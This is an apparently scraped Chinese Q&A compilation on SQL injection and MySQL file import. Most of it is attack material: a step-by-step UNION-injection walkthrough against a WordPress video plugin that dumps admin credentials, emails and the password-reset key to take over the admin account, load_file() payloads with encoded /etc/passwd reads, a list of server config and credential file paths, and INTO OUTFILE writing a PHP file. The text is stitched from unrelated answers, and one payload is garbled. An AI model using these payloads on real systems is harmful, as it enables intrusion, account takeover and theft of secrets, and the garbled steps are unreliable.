Ⅰ 有sql注入怎麼提權
通過路徑的各種爆錯無效,無法獲得絕對路徑,目標網站上面沒測試指針,存在phpmyadmin但是也無法爆路徑。
讀資料庫破MD5登錄後台發現無利用的地方。
使用sqlmap 的--file-read 對c:oot.ini文件進行讀取
Ⅱ 如何sql注入漏洞攻破linux基礎web
SQL注入的基本原理
sql注入成因主要是對頁面參數沒有進行非法字元校驗導致,比如說一個訂單頁面要顯示某個客戶的所有訂單列表,這個頁面的地址可能是http://xxx.com/list.php?customID=3,我們推理,這樣頁面的後台處理的sql應該是這樣的:
select * form custom_order where custom_id = {$_GET['customID']}
按正常情況下,這里的接收的參數{$_GET['customID']}的值應該是傳入的值3,這樣頁面就能正確的把所有客戶ID等於3的訂單信息顯示到頁面上。但是,如果這個參數被人惡意改成了如下形式:
http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
按這樣的參數拼裝成的sql就成了這樣:
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
這樣注入惡意sql後,訂單列表頁顯示的就不是訂單信息了,而是資料庫中用戶的名稱和密碼,或者任意其它想要的信息。下面我們就按照這個原理來一步一步的獲取這個公立學校網站的管理員用戶名,管理員郵箱地址,通過郵箱重置管理員密碼,登錄超級管理員後台。
All Video Gallery插件的漏洞簡介
安裝了All Video Gallery插件的Wordpress博客里會有這樣的一個地址:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11
訪問這個頁面會顯示一些配置信息,問題就出在pid這個參數上,程序後台顯然沒有嚴格檢查這個參數,我們將利用這個參數進行sql注入。
WordPress是一個開源的平台,我們很容易弄清楚用戶表的表名是wp_users,存放用戶名,密碼,郵件地址的欄位分別是user_login,user_pass,user_email,我們下面將要把用戶信息表注入進去。
獲取超級管理員用戶名
為了獲取用戶表中的用戶名,我們注入的sql是這樣的:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:
獲取超級管理員郵件地址
我們可以直接獲取用戶的密碼,但很顯然,密碼都是加密的,無法使用,我們這里使用另外一種思路,先獲取用戶的郵件地址,然後使用這個郵件重置用戶的密碼。
要獲取郵件地址,我們需要將上面的sql中的欄位名改成user_email:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:
重置管理員密碼
WordPress的後台登陸地址是http://xxx.com/wp-login.php,這個地址是可以公共訪問的,我們進入這個頁面後,點擊Lost your password?鏈接,輸入上面獲取的管理員郵件。
這樣做了之後,Wordpress會向這個郵件地址發送一封含有激活碼的密碼重置地址。我們無法登陸這個郵箱獲取這個地址,但我們可以使用上面同樣
的方法獲取這個激活碼,自己拼裝出密碼重置地址。存放激活碼的欄位是user_activation_key,我們的sql注入地址改成下面這樣:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:
有了激活碼,我們就可以拼裝出裝置密碼的地址了:
http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username
利用這個地址進入重置密碼頁面:
總結
我們的黑客行動到此基本上是大功告成,但事實上我並沒有去執行最後一步。本文的目的不是要告訴人們如何進行黑客攻擊,而是要提醒大家防範安全漏洞,
所謂知己知彼,方能百戰不殆,程序員應當對基本的黑客攻擊方式有一些了解,針對性的在編程時避免造成類似sql注入的安全漏洞,構築更健壯的軟體。
Ⅲ linux導入sql文件命令
1SSH登錄LINUX系統,登錄mysql資料庫
#mysql -u root -p #-p為密碼,輸入登錄mysql的賬戶的密碼
2選擇資料庫
#mysql>use database #database為你的的資料庫
3選擇你已經備份好的sql文件,開始導入
#mysql>source /backup.sql #選擇對應路徑即可恢復
4等待數據還原結果。
Ⅳ 針對mysql的sql注入,可以使用什麼函數來訪問系統文件
1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一個PHP文件里完全顯示代碼.有些時候不替換一些字元,如 < 替換成空格 返回的是網頁.而無法查看到代碼.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件
5、c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf 查看WINDOWS系統apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發的網站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
8、d:APACHEApache2confhttpd.conf
9、C:Program Filesmysqlmy.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:.xml 查看IIS的虛擬主機配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
15、 /etc/sysconfig/iptables 本看防火牆策略
16 、 usr/local/app/php5/lib/php.ini PHP 的相當設置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統版本
19 、C:mysqldatamysqluser.MYD 存在MYSQL系統中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5/lib/php.ini //PHP相關設置
22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
23、c:Program FilesRhinoSoft.comServ-UServUDaemon.ini
24、c:windowsmy.ini
Ⅳ 如何用 sql 命令讀取文件
以下是orcale的方法,其他資料庫也類似。
1.寫控制文件格式如下(下面是我自己的,你把表名該成你自己的表,欄位該成你的欄位就可以了):
OPTIONS (skip=0,rows=128)
load data
INFILE "user_user_test.txt"
into table USER_USER_TEST
truncate
fields terminated by ',' optionally enclosed by '"'
(
USERID,
CITYID,
USERNAME,
PWD,
CREATETIME
)
2.把控制文件和數據文件放在同一個目錄(建議)
3.執行sqlldr userid=scott/anwei@orcl control=user_user_test.ctl data=user_user_test.txt log=user_user_test.log 命令
Ⅵ 究竟如何將.sql文件導入 linux系統下的mysql里
如果你給root用戶設置了密碼的話用:mysql -u root -p "你的資料庫名"< 「你的sql文件」,然後輸入密碼。
如果沒設置密碼的話直接mysql -u root "你的資料庫名"< 「你的sql文件」
Ⅶ SQL注入之outfile
找到注入點後利用語句:select [column...] from [table_name] into outfile [path]導出數據信息。此信息可以被sql注入利用。
找出對象伺服器系統,找出apache的根目錄,利用上面語句,將一個文件放到根目錄中,隨後可以在頁面中訪問該文件。文件名後綴可以自定義。
有時候導入導出許可權會被mysql限制,只能將文件導入或導出到指定位置:
ERROR 1290: The MySQL server is running with the __secure-file-priv option so it cannot execute this statement
這時可以使用語句:show variables like 'secure_file_priv'來查詢能導入導出的位置
找到位置後就在對應位置導入或者導出文件:
select * from users into outfile '/var/lib/mysql-files/aa'
這時我們可以導出一個php文件,比如
select '<?php phpinfo() ?>' into outfile '/var/lib/mysql-files/test.php';phpinfo是導出php伺服器環境的配置信息
然後,我們再去/var/lib/mysql-files目錄下查看是否真的導出成功了。
Ⅷ 在linux中導入sql文件的方法分享(使用命令行轉移mysql資料庫)
因導出sql文件
在你原來的網站服務商處利用phpmyadmin導出資料庫為sql文件,這個步驟大家都會,不贅述。
上傳sql文件
前面說過了,我們沒有在雲主機上安裝ftp,怎麼上傳呢?
打開ftp客戶端軟體,例如filezilla,使用伺服器IP和root及密碼,連接時一定要使用SFTP方式連接,這樣才能連接到linux。注意,這種方法是不安全的,但我們這里沒有ftp,如果要上傳本地文件到伺服器,沒有更好更快的方法。
我們把database.sql上傳到/tmp目錄。
連接到linux,登錄mysql
使用putty連接到雲主機。putty的使用方法這里就不介紹了。
連接之後,登錄mysql
復制代碼
代碼如下:
>mysql
-u
root
-p
>password:
注意,如果你之前建立了其他的mysql用戶,可以選擇合適的用戶登錄。關於mysql的命令行,你可以在其他地方學習。
把上傳上去的sql導入到資料庫中
按照下面的三個步驟,快速導入這個sql文件
復制代碼
代碼如下:
mysql>use
yourdatabasename;
mysql>set
names
utf8;
mysql>source
/tmp/database.sql;
然後屏幕上就會不斷的滾,最後提示導入成功。
最後,記得將database.sql刪除。
Ⅸ 如何通過SQL注入獲取伺服器本地文件
如何通過SQL注入獲取伺服器本地文件
從伺服器上復制下備份文件,在本地還原,應該可以。
另外你還可以附加:
1。 在伺服器上打開資料庫管理器,選中資料庫在菜單中選擇離線,然後找到伺服器上資料庫文件,通常是兩個一個數據文件一個日誌文件。
2。 將1中的兩個文件復制到本地的某個目錄中
3。 打開本地資料庫管理器 在資料庫文件夾上右擊顯示菜單,選擇附加.
Ⅹ 針對mysql的sql注入,可以使用什麼函數來訪問系統文件
1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20) 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上面兩個是查看一個PHP文件里完全顯示代碼f MYSQL的配置文件 18、 /etc/redhat-release 紅帽子的系統版本 19 、C:mysqldatamysqluserServ-UServUDaemon.ini 24、c:windowsmy.ini